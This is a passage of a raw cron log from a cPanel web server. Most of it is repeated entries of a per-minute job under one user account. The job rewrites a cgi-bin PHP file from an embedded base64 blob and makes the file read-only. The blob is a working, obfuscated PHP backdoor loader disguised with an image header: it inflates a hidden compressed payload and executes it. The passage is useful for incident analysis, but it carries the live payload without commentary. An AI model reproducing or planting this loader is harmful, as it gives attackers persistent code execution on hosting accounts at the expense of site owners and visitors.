JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:09:01 server CROND[9717]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 03:10:01 server CROND[9769]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 03:10:01 server CROND[9771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:10:01 server CROND[9770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:10:01 server CROND[9772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:11:01 server CROND[9882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:12:01 server CROND[9932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:12:01 server CROND[9933]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 03:13:01 server CROND[10116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:14:01 server CROND[10176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:15:01 server CROND[10232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:15:01 server CROND[10233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:15:01 server CROND[10234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:16:01 server CROND[10336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:17:01 server CROND[10408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:18:01 server CROND[10740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:19:01 server CROND[10818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:20:01 server CROND[10888]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:20:01 server CROND[10890]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 03:20:01 server CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 03:20:01 server CROND[10893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:20:01 server CROND[10892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:21:01 server CROND[11009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:22:01 server CROND[11072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
